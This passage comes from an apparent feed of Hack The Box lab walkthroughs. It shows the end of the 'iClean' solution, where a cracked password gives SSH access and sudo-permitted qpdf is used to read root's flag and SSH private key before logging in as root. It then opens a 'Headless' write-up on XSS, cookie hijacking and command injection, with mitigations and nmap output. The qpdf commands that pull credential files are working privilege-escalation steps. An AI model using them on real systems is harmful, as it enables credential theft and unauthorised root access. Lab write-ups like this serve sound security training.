Started: Sun May 26 20:00:37 2024
Stopped: Sun May 26 20:00:39 2024
</code></code></pre><p>Using Hashcat with <code>-m 1400</code> cracks it.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!u6QG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!u6QG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png 424w, https://substackcdn.com/image/fetch/$s_!u6QG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png 848w, https://substackcdn.com/image/fetch/$s_!u6QG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png 1272w, https://substackcdn.com/image/fetch/$s_!u6QG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!u6QG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png" width="697" height="509" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:509,&quot;width&quot;:697,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;icleancrackedhash.png&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="icleancrackedhash.png" title="icleancrackedhash.png" srcset="https://substackcdn.com/image/fetch/$s_!u6QG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png 424w, https://substackcdn.com/image/fetch/$s_!u6QG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png 848w, https://substackcdn.com/image/fetch/$s_!u6QG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png 1272w, https://substackcdn.com/image/fetch/$s_!u6QG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6f7a5494-0525-4a2f-852e-814bf7a89329_697x509.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>Logging in via SSH</h2><p>The stolen password can now be used to log in via SSH, and the first flag is found.</p><pre><code><code>&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/iclean/credentials]
&#9492;&#9472;$ ssh consuela@capiclean.htb
The authenticity of host 'capiclean.htb (10.129.11.43)' can't be established.
ED25519 key fingerprint is SHA256:3nZua2j9n72tMAHW1xkEyDq3bjYNNSBIszK1nbQMZfs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'capiclean.htb' (ED25519) to the list of known hosts.
consuela@capiclean.htb's password:
&lt;SNIP&gt;
consuela@iclean:~$ pwd
/home/consuela
consuela@iclean:~$ ls
user.txt
consuela@iclean:~$ cat user.txt
&lt;SNIP&gt;</code></code></pre><div><hr></div><h1>Privilege escalation</h1><h2>Abusing sudo</h2><p>Checking <code>sudo</code> rights, reveals a binary that the <code>consuela</code> user can run.</p><pre><code><code>consuela@iclean:~$ sudo -l
[sudo] password for consuela:
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf
</code></code></pre><blockquote><p><em>The </em><code>qpdf</code> binary is a program and C++ library for structural, content-preserving transformations on PDF files.</p></blockquote><p>The usage help menu gives some clues about the utility.</p><pre><code><code>consuela@iclean:~$ qpdf --help=usage
Read a PDF file, apply transformations or modifications, and write
a new PDF file.

Usage: qpdf [infile] [options] [outfile]
   OR  qpdf --help[={topic|--option}]

- infile, options, and outfile may be in any order as long as infile
  precedes outfile.
- Use --empty in place of an input file for a zero-page, empty input
- Use --replace-input in place of an output file to overwrite the
  input file with the output
- outfile may be - to write to stdout; reading from stdin is not supported
- @filename is an argument file; each line is treated as a separate
  command-line argument
- @- may be used to read arguments from stdin
- Later options may override earlier options if contradictory

Related options:
  --empty: use empty file as input
  --job-json-file: job JSON file
  --replace-input: overwrite input with output

For detailed help, visit the qpdf manual: https://qpdf.readthedocs.io
</code></code></pre><p>After reading the <a href="https://emdeh.com/blog/2024/iclean-walkthrough/[GitHub%20-%20qpdf/qpdf:%20QPDF:%20A%20content-preserving%20PDF%20document%20transformer](https://github.com/qpdf/qpdf)">documentation</a>, it seems there is an option to add a file to an empty PDF and convert it to a <code>qdf</code> format, typically used to debug or analyse the inner details of a legitimate pdf.</p><p>The user can run the binary as <code>sudo</code>, this can be exploited to exfiltrate data that would otherwise be inaccessible to the <code>consuela</code> user.</p><h2>Exfiltrating sensitive data</h2><p>For example, the following command has appended the <code>root</code> flag from <code>/root/</code> to a new file that is accessible to the current user.</p><pre><code><code>consuela@iclean:~$ sudo /usr/bin/qpdf --empty /tmp/test.txt --qdf --add-attachment /root/root.txt --
consuela@iclean:~$ cat /tmp/test.txt | grep -A 30 "root"
&lt;SNIP&gt;
</code></code></pre><p>But that&#8217;s too easy. The <code>admin</code> user&#8217;s <code>id_rsa</code> file could also be exfiltrated:</p><pre><code><code>consuela@iclean:~$ sudo /usr/bin/qpdf --empty /tmp/id_rsa --qdf --add-attachment /root/.ssh/id_rsa --
consuela@iclean:~$ cat /tmp/id_rsa | grep -A 10 "BEGIN" /tmp/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1&lt;SNIP&gt;
-----END OPENSSH PRIVATE KEY-----
endstream
endobj
consuela@iclean:~$
</code></code></pre><p>Taking the key and adding it to a file with <code>chmod 600</code> permissions</p><pre><code><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/iclean/credentials]
&#9492;&#9472;$ nano id_rsa_admin
&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/iclean/credentials]
&#9492;&#9472;$ chmod 600 id_rsa_admin
&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/iclean/credentials]
&#9492;&#9472;$ ssh -i id_rsa_admin root@capiclean.htb
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-101-generic x86_64)
&lt;SNIP?
root@iclean:~# pwd
/root
root@iclean:~# ls
root.txt  scripts
root@iclean:~# cat root.txt
33e5361&lt;SNIP&gt;
</code></code></pre><p>And the root flag is found.</p>]]></content:encoded></item><item><title><![CDATA[Coming soon]]></title><description><![CDATA[This is emdeh&#8217;s Substack.]]></description><link>https://www.emdeh.com/p/coming-soon</link><guid isPermaLink="false">https://www.emdeh.com/p/coming-soon</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 27 May 2024 04:49:05 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!ZFh2!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0e3ab64a-692c-4b46-903b-f8cbe66d9aba_144x144.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This is emdeh&#8217;s Substack.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.emdeh.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.emdeh.com/subscribe?"><span>Subscribe now</span></a></p>]]></content:encoded></item><item><title><![CDATA[Headless]]></title><description><![CDATA[XSS, Command Injection, and Sudo abuse.]]></description><link>https://www.emdeh.com/p/headless</link><guid isPermaLink="false">https://www.emdeh.com/p/headless</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 15 Apr 2024 09:19:00 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!jdge!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jdge!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jdge!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png 424w, https://substackcdn.com/image/fetch/$s_!jdge!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png 848w, https://substackcdn.com/image/fetch/$s_!jdge!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png 1272w, https://substackcdn.com/image/fetch/$s_!jdge!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jdge!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png" width="1200" height="975" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:975,&quot;width&quot;:1200,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jdge!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png 424w, https://substackcdn.com/image/fetch/$s_!jdge!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png 848w, https://substackcdn.com/image/fetch/$s_!jdge!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png 1272w, https://substackcdn.com/image/fetch/$s_!jdge!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa9c6ea41-e958-4b1f-a61c-ec78903802dd_1200x975.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h1>Introduction</h1><p>Headless is rated as an easy box. It begins with exploiting a Reflected Cross-Site Scripting (XSS) vulnerability to steal a cookie. Requests to a restricted page are manipulated to include the stolen cookie to hijack an admin session, and access the page. From there, an un-sanitised field on a form is abused to obtain remote code execution via a reverse shell. Privilege escalation is achieved by abusing a <code>sudo</code> misconfiguration.</p><h1>Contents</h1><ul><li><p><a href="https://emdeh.substack.com/i/145018146/introduction">Introduction</a></p><ul><li><p><a href="https://emdeh.substack.com/i/145018146/vulnerabilities-explored">Vulnerabilities explored</a></p></li><li><p><a href="https://emdeh.substack.com/i/145018146/tools">Tools</a></p></li><li><p><a href="https://emdeh.substack.com/i/145018146/tactics-and-methods">Tactics and Methods</a></p></li></ul></li><li><p><a href="https://emdeh.substack.com/i/145018146/enumeration">Enumeration</a></p><ul><li><p><a href="https://emdeh.substack.com/i/145018146/nmap-scanning">Nmap scanning</a></p></li><li><p><a href="https://emdeh.substack.com/i/145018146/server-enumeration">Server enumeration</a></p></li><li><p><a href="https://emdeh.substack.com/i/145018146/webform-enumeration">Web form enumeration</a></p></li></ul></li><li><p><a href="https://emdeh.substack.com/i/145018146/initial-access">Initial access</a></p><ul><li><p><a href="https://emdeh.substack.com/i/145018146/stealing-cookies-via-a-reflected-xss">Stealing cookies via a Reflected XSS</a></p></li><li><p><a href="https://emdeh.substack.com/i/145018146/cookie-manipulation">Cookie manipulation</a></p></li><li><p><a href="https://emdeh.substack.com/i/145018146/enumerating-the-select-date-field">Enumerating the </a><code>Select Date</code><a href="https://emdeh.substack.com/i/145018146/enumerating-the-select-date-field"> field</a></p></li><li><p><a href="https://emdeh.substack.com/i/145018146/command-injection">Command injection</a></p></li></ul></li><li><p><a href="https://emdeh.substack.com/i/145018146/system-enumeration">System enumeration</a></p></li><li><p><a href="https://emdeh.substack.com/i/145018146/privilege-escalation">Privilege escalation</a></p></li></ul><h2>Vulnerabilities explored</h2><h3>Cross-Site Scripting (XSS)</h3><p>Cross-site scripting (XSS) is a security vulnerability typically found in web applications. XSS allows attackers to inject malicious scripts into content that other users will view. When this content is viewed, the malicious script executes, which can lead to data theft, session hijacking, and other types of security breaches.</p><p>There are three main types of XSS:</p><ol><li><p><strong>Reflected XSS</strong>: The malicious script comes from the user&#8217;s current request.</p></li><li><p><strong>Stored XSS</strong>: The malicious script is stored on the server (e.g., in a database) and later sent to users.</p></li><li><p><strong>DOM-based XSS</strong>: The vulnerability is on the client rather than the server-side code.</p></li></ol><p>This machine demonstrated a reflected XSS.</p><h4>Example of Reflected XSS</h4><p>Imagine a website with a search function that reflects user input in its response without proper input sanitisation or encoding. For instance:</p><pre><code><code>&lt;!-- Example of a vulnerable HTML page --&gt; 
&lt;html&gt; 
&lt;body&gt; 
&#9;&lt;form method="GET" action="search"&gt; 
&#9;&#9;&lt;input type="text" name="query"&gt; 
&#9;&#9;&lt;input type="submit" value="Search"&gt; 
&#9;&lt;/form&gt; 
&#9;&lt;p&gt;You searched for: &lt;?php echo $_GET['query']; ?&gt;&lt;/p&gt; 
&lt;/body&gt; 
&lt;/html&gt;</code></code></pre><p>If a user inputs a search term like <code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code>, and the server includes this input in the HTML response without sanitising, the script will execute in the user&#8217;s browser. This script could be something more malicious, like stealing cookies or other sensitive information.</p><h4>Mitigation</h4><ul><li><p><strong>Input Sanitisation</strong>: Always sanitise all inputs, especially those that can be reflected back to the user in any form. This includes less obvious fields like HTTP headers (<em>hint: that&#8217;s the vector for this machine)</em>.</p></li><li><p><strong>Content Security Policy (CSP)</strong>: Implementing a robust CSP can help prevent XSS by restricting the sources from which scripts can be loaded and executed.</p></li><li><p><strong>Secure Coding Practices</strong>: Employ secure coding practices that involve encoding user inputs to treat them as data rather than executable code.</p></li></ul><h3>Cookie manipulation</h3><p>Cookie manipulation involves altering the contents of a cookie before it is sent to the server. This could involve changing session tokens, user IDs, or other data stored in cookies to escalate privileges or change user settings.</p><h4>Mitigation</h4><ul><li><p><strong>Use Secure Cookies</strong>: Set cookies with the <code>Secure</code> attribute to ensure they are only sent over HTTPS, preventing transmission over unencrypted connections.</p></li><li><p><strong>HttpOnly Attribute</strong>: Use the <code>HttpOnly</code> attribute to prevent access to cookie values via JavaScript. This helps protect against XSS attacks that attempt to steal cookies.</p></li><li><p><code>SameSite</code><strong> Attribute</strong>: The attribute restricts how cookies are sent with cross-site requests. This can help prevent cross-site request forgery (CSRF) attacks.</p></li><li><p><strong>Cookie Integrity</strong>: Implement mechanisms to ensure the integrity of cookie values, such as signing cookies with a secret key. An integrity check can detect if the cookie has been tampered with.</p></li><li><p><strong>Strict Validation</strong>: Validate all input from cookies before use. Do not trust data stored in cookies without validation, especially for access control decisions.</p></li></ul><h3>Session hijacking</h3><p>Session hijacking, also known as session takeover, involves exploiting a valid computer session&#8212;most often by stealing or predicting a valid session token&#8212;to gain unauthorized access to information or services in a computer system.</p><h4>Mitigation</h4><ul><li><p><strong>Session Expiration</strong>: Implement session expiration and timeout mechanisms that automatically log users out after a period of inactivity or after a maximum session duration.</p></li><li><p><strong>Regenerate Session IDs</strong>: Regenerate session IDs after a successful login to prevent session fixation attacks, where an attacker fixes the session ID before the user logs in.</p></li><li><p><strong>Monitor and Validate Sessions</strong>: Monitor session activity for anomalies and validate sessions based on multiple attributes (e.g., IP address, User-Agent) to detect and prevent hijacking.</p></li></ul><h3>Command injection</h3><p>Command injection vulnerabilities can occur anywhere an application passes user input to a system shell command. If the user input is not properly sanitized, attackers can append additional commands or alter the intended command, leading to potentially severe consequences such as unauthorized access, data leakage, or server compromise.</p><h4>Mitigation</h4><ul><li><p><strong>Proper Input Validation</strong>: Ensure all user inputs are validated against a strict set of rules. Only allow known good inputs to pass through and be used in commands.</p></li><li><p><strong>Avoid Using Shell Commands</strong>: Where possible, avoid using shell commands altogether. Use built-in library functions provided by your programming language or framework that perform the desired operations without invoking the shell.</p></li><li><p><strong>Use Safe APIs</strong>: If you must execute system commands, use safe APIs that avoid shell execution, such as parameterized functions or APIs that do not involve the shell.</p></li><li><p><strong>Escaping Special Characters</strong>: If system commands must include user input, ensure that special characters are properly escaped and treated as literal values rather than executable code. However, escaping should be a last resort after safer alternatives have been considered.</p></li><li><p><strong>Use Least Privilege Principles</strong>: Run applications with the minimum permissions necessary. Restricting the privileges of the application environment can limit the damage an attacker can do if they manage to inject commands.</p></li></ul><h3>Sudo misconfiguration</h3><p>The <code>sudoers</code> file controls which users can execute commands with elevated privileges. If this file is configured to allow a user to run certain commands as the superuser without requiring a password, it may lead to security risks if the commands are inherently dangerous or can be exploited.</p><p>Some binaries, when executed with elevated privileges, can be used to perform tasks that compromise the system's security. For instance, if a binary allows file manipulation, code execution, or access to the shell, an attacker can use it to gain higher privileges or execute arbitrary commands.</p><h4>Mitigation</h4><ul><li><p><strong>Review and Restrict Sudo Policies</strong>: Regularly audit the <code>sudoers</code> file to ensure only necessary permissions are granted. Commands that can be exploited for privilege escalation should not be runnable with elevated privileges without strong justifications and controls.</p></li><li><p><strong>Password Protections</strong>: Require passwords for sudo access to add an extra layer of security, ensuring that only authenticated users can execute commands with elevated privileges.</p></li><li><p><strong>Security Training and Awareness</strong>: Educate administrators and users about the risks of improper sudo configurations and encourage security best practices.</p></li><li><p><strong>Use Secure Programming Practices</strong>: When developing applications for environments with sudo access, ensure they are securely coded to prevent exploitation.</p></li><li><p><strong>Regular Security Audits</strong>: Perform security audits and vulnerability assessments regularly to identify and mitigate risks associated with privilege escalation.</p></li></ul><h3>Insecure coding practices</h3><p>Insecure coding practices can lead to significant vulnerabilities, allowing attackers to exploit the application. Here are common insecure coding practices observed:</p><ul><li><p><strong>Improper Input Sanitisation</strong>: Failing to sanitise user inputs properly can lead to various forms of injection attacks, including SQL, command, and script injections. In the context of the &#8220;Headless&#8221; box, the lack of sanitisation in the date selection field allowed for command injection, demonstrating how critical rigorous input validation is to security.</p></li><li><p><strong>Using Relative Paths for File Execution</strong>: Utilising relative paths for file execution, as seen with the <code>initdb.sh</code> script in the <code>syscheck</code> binary, poses a security risk. It can lead to unauthorised file execution if an attacker can place a malicious file in the expected path, leading to privilege escalation.</p></li></ul><h4>Mitigation</h4><ul><li><p><strong>Implement Thorough Input Validation</strong>: Ensure all user inputs are validated against a strict set of rules. Reject any input that does not strictly conform to expected patterns, especially in command execution or database queries.</p></li><li><p><strong>Use Absolute Paths</strong>: Always use absolute paths when referencing executables or other files within code. This practice prevents directory traversal attacks and ensures that the application only accesses files explicitly defined in the code.</p></li><li><p><strong>Adopt Secure Coding Standards</strong>: Follow secure coding guidelines and standards, such as the OWASP Top 10, to understand and mitigate common vulnerabilities. Regular code reviews and security audits can also help catch and fix insecure practices early in the development lifecycle.</p></li></ul><h2>Tools</h2><ul><li><p>Nmap</p></li><li><p>Burpsuite</p></li></ul><h2>Tactics and Methods</h2><h4>Exploiting a Reflected XSS vulnerability to steal cookies</h4><ul><li><p>The web form fields were sanitised, but the HTTP headers were not. Exploiting the lack of sanitisation on the <code>User-Agent</code> (or <code>Accept</code>) field in the headers allows for a cookie to be stolen.</p></li></ul><h4>Authentication bypass via cookie manipulation and session hijacking</h4><ul><li><p>By manipulating the HTTP headers to include a stolen cookie, an admin session was hijacked and unauthorised access to a dashboard was obtained.</p></li></ul><h4>Remote code execution via command injection</h4><ul><li><p>By exploiting a field on the dashboard that was not sanitised, a reverse shell was created and executed server-side.</p></li></ul><h4>Abusing <code>Sudo</code> to achieve privilege escalation</h4><ul><li><p>A relative path within a binary the standard user could run as <code>sudo</code> with no password was exploited to call a malicious script to execute a reverse shell as root.</p></li></ul><div><hr></div><h1>Enumeration</h1><p>As always, begin with Nmap scanning</p><h2>Nmap scanning</h2><pre><code>&#9484;&#9472;&#9472;(emdeh&#12927;kali)-[~/Documents/htb-machines/headless/scans]
&#9492;&#9472;$ nmap -A 10.129.27.108 | tee nmap-output.txt</code></pre><pre><code>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-12 23:51 EDT
Nmap scan report for 10.129.27.108
Host is up (0.32s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sat, 13 Apr 2024 03:52:24 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     &lt;!DOCTYPE html&gt;
|     &lt;html lang="en"&gt;
|     &lt;head&gt;
|     &lt;meta charset="UTF-8"&gt;
|     &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
|     &lt;title&gt;Under Construction&lt;/title&gt;
|     &lt;style&gt;
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest:
|     &lt;!DOCTYPE HTML&gt;
|     &lt;html lang="en"&gt;
|     &lt;head&gt;
|     &lt;meta charset="utf-8"&gt;
|     &lt;title&gt;Error response&lt;/title&gt;
|     &lt;/head&gt;
|     &lt;body&gt;
|     &lt;h1&gt;Error response&lt;/h1&gt;
|     &lt;p&gt;Error code: 400&lt;/p&gt;
|     &lt;p&gt;Message: Bad request version ('RTSP/1.0').&lt;/p&gt;
|     &lt;p&gt;Error code explanation: 400 - Bad request syntax or unsupported method.&lt;/p&gt;
|     &lt;/body&gt;
|_    &lt;/html&gt;</code></pre><h3>Findings</h3><ol><li><p>Port 22</p></li><li><p>Port 5000 with some additional details</p></li></ol><pre><code>5000/tcp open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Sat, 13 Apr 2024 03:52:24 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     &lt;!DOCTYPE html&gt;
|     &lt;html lang="en"&gt;
|     &lt;head&gt;
|     &lt;meta charset="UTF-8"&gt;
|     &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
